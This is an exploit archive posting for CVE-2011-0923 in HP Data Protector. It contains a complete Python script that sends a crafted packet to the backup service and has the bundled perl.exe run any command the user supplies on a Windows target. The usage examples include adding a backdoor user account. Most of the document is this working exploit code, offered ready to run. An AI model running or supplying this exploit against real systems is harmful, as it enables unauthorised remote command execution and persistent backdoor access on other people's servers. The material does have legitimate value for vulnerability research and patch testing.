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HP Data Protector Arbitrary Remote Command Execution

HP Data Protector Arbitrary Remote Command Execution
Posted Aug 7, 2013
Authored by Alessandro Di Pinto, Claudio Moletta

This python script allows execution of a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory {install_path}/bin/. The main goal of the script is to bypass the limitation of executing only a single command without any parameter, as provided by already existing exploits. It is possible to exploit the security issue in order to run any command inside the target system.

tags | exploit, arbitrary, perl, python
advisories | CVE-2011-0923, OSVDB-72526
MD5 | 170a7d65a9fbfba5d4a2f9d411ee7f6a

HP Data Protector Arbitrary Remote Command Execution

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"""
HP Data Protector Arbitrary Remote Command Execution

This script allows to execute a command with an arbitrary number of
arguments. The trick calls 'perl.exe' interpreter installed with HP Data
Protector inside the directory {install_path}/bin/.

The main goal of the script is to bypass the limitation of executing only a
single command without any parameter, as provided by already existing
exploits. As shown below, it's possible to exploit the security issue in order
to run any command inside the target system.

Target OS:
Microsoft Windows

Tested Version:
HP Data Protector A.06.20

Usage:
exploit.py <target> <port> <command>

Example:
exploit.py 192.168.1.1 5555 'dir c:\'
exploit.py 192.168.1.1 5555 'ipconfig /all'
exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'

Authors:
Alessandro Di Pinto ( alessandro.dipinto () artificialstudios org )
Claudio Moletta ( mclaudio () gmail com )

Reference:
http://www.zerodayinitiative.com/advisories/ZDI-11-055/
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0923
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
"""

import socket
import struct
import sys

def usage():
print >> sys.stderr, "Usage: %s <target> <port> <command>" % sys.argv[0]
exit(-1)

def exploit(host, port, command):
# Try to connect
print >> sys.stderr, "[*] Connecting to target '%s:%s'..." % (host, port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, int(port)))
except Exception as ex:
print >> sys.stderr, "[!] Socket error: \n\t%s" % ex
exit(-3)
else:
print >> sys.stderr, "[*] Connected to the target."

# Connected, build the malicious payload
OFFSET = 46
command = command.replace("\\", "\\\\")
command_size = chr(OFFSET + len(command))
CRAFTED_PKT = "\x00\x00\x00" + \
command_size + \
"\x32\x00\x01" + \
"\x01\x01\x01" + \
"\x01\x01\x00" + \
"\x01\x00\x01" + \
"\x00\x01\x00" + \
"\x01\x01\x00" + \
"\x2028\x00" + \
"\\perl.exe" + \
"\x00 -esystem('%s')\x00" % command

# Send payload to target
print >> sys.stderr, "[*] Sending payload '%s'" % command
sock.sendall(CRAFTED_PKT)

# Parse the response back
print >> sys.stderr, "[*] Output:"
while True:
# Get information about response
response_size = sock.recv(4)
if not response_size: break
n = struct.unpack(">I", response_size)[0]

# Get command results
# code = response[:5]
# data = response[5:]
response = sock.recv(n)

# Clean and parse results
response = response[5:].strip()
response = response.replace("\n", "")
response = response.replace("\x00", "")
# Check for the end-of-message
if response.upper().find("*RETVAL*") != -1:
break
print response

# Close connection
sock.close()

if __name__ == "__main__":
# Get command-line
argc = len(sys.argv)
if argc < 4:
usage()
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
if port.isdigit():
port = int(port)
else:
print >> sys.stderr, "[!] Error, invalid port value"
exit(-2)

# Send malicious payload
exploit(host, port, cmd)
exit(0)
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